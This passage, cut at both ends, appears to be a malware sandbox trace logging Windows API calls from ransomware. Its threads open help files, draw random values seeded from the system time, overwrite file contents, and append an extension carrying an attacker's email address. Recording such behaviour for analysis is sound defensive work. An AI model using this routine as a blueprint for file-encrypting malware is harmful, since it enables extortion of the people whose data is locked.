lpBuffer=0x449d80*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x580fdb4, lpOverlapped=0x0 | out: lpBuffer=0x449d80*, lpNumberOfBytesWritten=0x580fdb4*=0x119, lpOverlapped=0x0) returned 1 [0063.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0063.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6760) returned 1 [0063.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294d0) returned 1 [0063.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6720) returned 1 [0063.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0063.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9868) returned 1 [0063.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9818) returned 1 [0063.022] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9840) returned 1 [0063.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c578 [0063.022] wcscpy (in: _Dest=0x45c578, _Source="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" [0063.022] wcscat (in: _Dest=0x45c578, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d" [0063.022] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x580fd6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00060 [0063.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0063.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48eaa8) returned 1 [0063.023] NtQueryInformationFile (in: FileHandle=0x4ac, IoStatusBlock=0x580fd78, FileInformation=0x580fd50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x580fd78, FileInformation=0x580fd50) returned 0x0 [0063.023] NtSetInformationFile (FileHandle=0x4ac, IoStatusBlock=0x580fd78, FileInformation=0x580fd50, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.024] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c578) returned 1 [0063.024] FlushFileBuffers (hFile=0x4ac) returned 1 [0066.207] CloseHandle (hObject=0x4ac) Thread: id = 809 os_tid = 0x1080 [0051.574] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn")) returned 0x20 [0064.530] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0064.530] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0064.530] GetLastError () returned 0x2 [0064.530] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0064.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4212d8) returned 1 Thread: id = 810 os_tid = 0x1084 [0051.575] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn")) returned 0x2022 [0062.244] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.309] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1260 [0065.309] GetFileSizeEx (in: hFile=0x1260, lpFileSize=0x138ffdb8 | out: lpFileSize=0x138ffdb8*=344) returned 1 [0065.309] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.309] ReadFile (hFile=0x1260, lpBuffer=0x138ffd3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x138ffd38, lpOverlapped=0x0) Thread: id = 811 os_tid = 0x1088 [0051.575] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn")) returned 0x2022 [0062.244] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.308] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x698 [0065.309] GetFileSizeEx (in: hFile=0x698, lpFileSize=0x1416fa10 | out: lpFileSize=0x1416fa10*=380) returned 1 [0065.309] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.309] ReadFile (hFile=0x698, lpBuffer=0x1416f994, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1416f990, lpOverlapped=0x0) Thread: id = 812 os_tid = 0x108c [0051.576] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn")) returned 0x2022 [0062.244] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.246] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1254 [0065.246] GetFileSizeEx (in: hFile=0x1254, lpFileSize=0x1479fdf8 | out: lpFileSize=0x1479fdf8*=344) returned 1 [0065.246] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.247] ReadFile (in: hFile=0x1254, lpBuffer=0x1479fd7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1479fd78, lpOverlapped=0x0 | out: lpBuffer=0x1479fd7c*, lpNumberOfBytesRead=0x1479fd78*=0x4, lpOverlapped=0x0) returned 1 [0065.247] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436480 [0065.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce7d0 [0065.247] NtQuerySystemTime (in: CurrentTime=0x1479fd58 | out: CurrentTime=0x1479fd58*=132174898292316000) returned 0x0 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x45bd9610 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x674db3ac [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x513bdaea [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x20440b0c [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x3ba2e37c [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x195a9792 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x32efd96d [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x26fe6062 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x23a4f11c [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x134a07ea [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x44b19c15 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x7d47b399 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x17ee73d3 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x6601c222 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x6d2f6b36 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x6037d0e3 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x7590669f [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x30f55ef0 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x4dd8703c [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x28871c80 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x50d897c3 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x67a3652c [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x6ee69459 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x74560ba2 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x538a7126 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x6b94f5cd [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x67bd5174 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x60707e11 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x4d7b09b3 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x2ecdde9c [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x315dc6 [0065.248] RtlRandomEx (in: Seed=0x1479fd64 | out: Seed=0x1479fd64) returned 0x36e2c007 [0065.308] ReadFile (in: hFile=0x1254, lpBuffer=0x19885860, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x1479fd54, lpOverlapped=0x0 | out: lpBuffer=0x19885860*, lpNumberOfBytesRead=0x1479fd54*=0x158, lpOverlapped=0x0) returned 1 [0065.308] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.308] WriteFile (hFile=0x1254, lpBuffer=0x19892068, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x1479fd50, lpOverlapped=0x0) Thread: id = 813 os_tid = 0x1090 [0051.576] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn")) returned 0x2022 [0062.244] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.232] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1250 [0065.232] GetFileSizeEx (in: hFile=0x1250, lpFileSize=0x537fb18 | out: lpFileSize=0x537fb18*=368) returned 1 [0065.232] SetFilePointerEx (in: hFile=0x1250, liDistanceToMove=0x16c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.232] ReadFile (in: hFile=0x1250, lpBuffer=0x537fa9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x537fa98, lpOverlapped=0x0 | out: lpBuffer=0x537fa9c*, lpNumberOfBytesRead=0x537fa98*=0x4, lpOverlapped=0x0) returned 1 [0065.233] SetFilePointerEx (in: hFile=0x1250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4364f8 [0065.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436480 [0065.233] NtQuerySystemTime (in: CurrentTime=0x537fa78 | out: CurrentTime=0x537fa78*=132174898292160000) returned 0x0 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x525b5dec [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x31d32e0d [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x3f8df52a [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x310861e6 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x4b001662 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x3c134fc0 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x53e05951 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x6b22b612 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x421d38da [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x366501b [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x3aa04677 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x5bd3c5b8 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x11a30c21 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x7f83b726 [0065.233] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x3e576ab1 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x3b3738e7 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x1fbd3e6d [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x705e85c9 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x4c1794e0 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x145a7f50 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x2d6566bd [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x7df75f09 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x6288519 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x78b3346c [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0xb9c983a [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x4d884d1f [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x49ca9b44 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x6d144c9e [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x457d2c3 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x18a80805 [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x1b65b91d [0065.234] RtlRandomEx (in: Seed=0x537fa84 | out: Seed=0x537fa84) returned 0x69314c8e [0065.246] ReadFile (in: hFile=0x1250, lpBuffer=0x9641490, nNumberOfBytesToRead=0x170, lpNumberOfBytesRead=0x537fa74, lpOverlapped=0x0 | out: lpBuffer=0x9641490*, lpNumberOfBytesRead=0x537fa74*=0x170, lpOverlapped=0x0) returned 1 [0065.246] SetFilePointerEx (in: hFile=0x1250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.246] WriteFile (hFile=0x1250, lpBuffer=0x19879058, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x537fa70, lpOverlapped=0x0) Thread: id = 814 os_tid = 0x1094 [0051.576] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn")) returned 0x2022 [0062.243] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.217] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbc4 [0065.217] GetFileSizeEx (in: hFile=0xbc4, lpFileSize=0x1457fe30 | out: lpFileSize=0x1457fe30*=326) returned 1 [0065.217] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.217] ReadFile (in: hFile=0xbc4, lpBuffer=0x1457fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1457fdb0, lpOverlapped=0x0 | out: lpBuffer=0x1457fdb4*, lpNumberOfBytesRead=0x1457fdb0*=0x4, lpOverlapped=0x0) returned 1 [0065.218] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436570 [0065.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4364f8 [0065.218] NtQuerySystemTime (in: CurrentTime=0x1457fd90 | out: CurrentTime=0x1457fd90*=132174898292004000) returned 0x0 [0065.218] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x267077b7 [0065.218] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x7a002380 [0065.218] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x3986201d [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x804c2c7 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x44ab93b9 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x4dc0a941 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x1ac7034c [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x10dc8da8 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x14d240f [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x265787f9 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x4289256f [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x67788c6c [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x7aade1c4 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x1740b6b3 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x35936520 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x5d73272a [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x3afeef57 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x55125b4c [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x2772af1d [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x62b3d156 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x8920e0d [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x6832bd78 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x310cebd6 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x639ad848 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x260687ec [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x7da6d339 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x75084682 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x1a39b806 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x307c679d [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x646c86c6 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0xe5f9274 [0065.219] RtlRandomEx (in: Seed=0x1457fd9c | out: Seed=0x1457fd9c) returned 0x6003a77b [0065.231] ReadFile (in: hFile=0xbc4, lpBuffer=0x9628480, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x1457fd8c, lpOverlapped=0x0 | out: lpBuffer=0x9628480*, lpNumberOfBytesRead=0x1457fd8c*=0x146, lpOverlapped=0x0) returned 1 [0065.231] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.231] WriteFile (hFile=0xbc4, lpBuffer=0x9634c88, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1457fd88, lpOverlapped=0x0) Thread: id = 815 os_tid = 0x1098 [0051.577] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn")) returned 0x2022 [0062.243] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.203] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1108 [0065.203] GetFileSizeEx (in: hFile=0x1108, lpFileSize=0x147efe94 | out: lpFileSize=0x147efe94*=326) returned 1 [0065.203] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.203] ReadFile (in: hFile=0x1108, lpBuffer=0x147efe18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x147efe14, lpOverlapped=0x0 | out: lpBuffer=0x147efe18*, lpNumberOfBytesRead=0x147efe14*=0x4, lpOverlapped=0x0) returned 1 [0065.204] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367f0 [0065.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436570 [0065.204] NtQuerySystemTime (in: CurrentTime=0x147efdf4 | out: CurrentTime=0x147efdf4*=132174898291848000) returned 0x0 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x1408b1be [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x3f699e58 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x2421ae08 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x2c2d96c8 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x6cba66a4 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x38cd89fa [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x6305f993 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x38fd0f22 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x39efafb4 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x4b59460 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x6d25a513 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x40af9e5d [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x6f527c3d [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x4400ae40 [0065.204] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x249b5110 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x5836edb8 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x689376b5 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x5d319725 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x561dff7d [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x4cf1f904 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x768c2c37 [0065.205] RtlRandomEx (in: 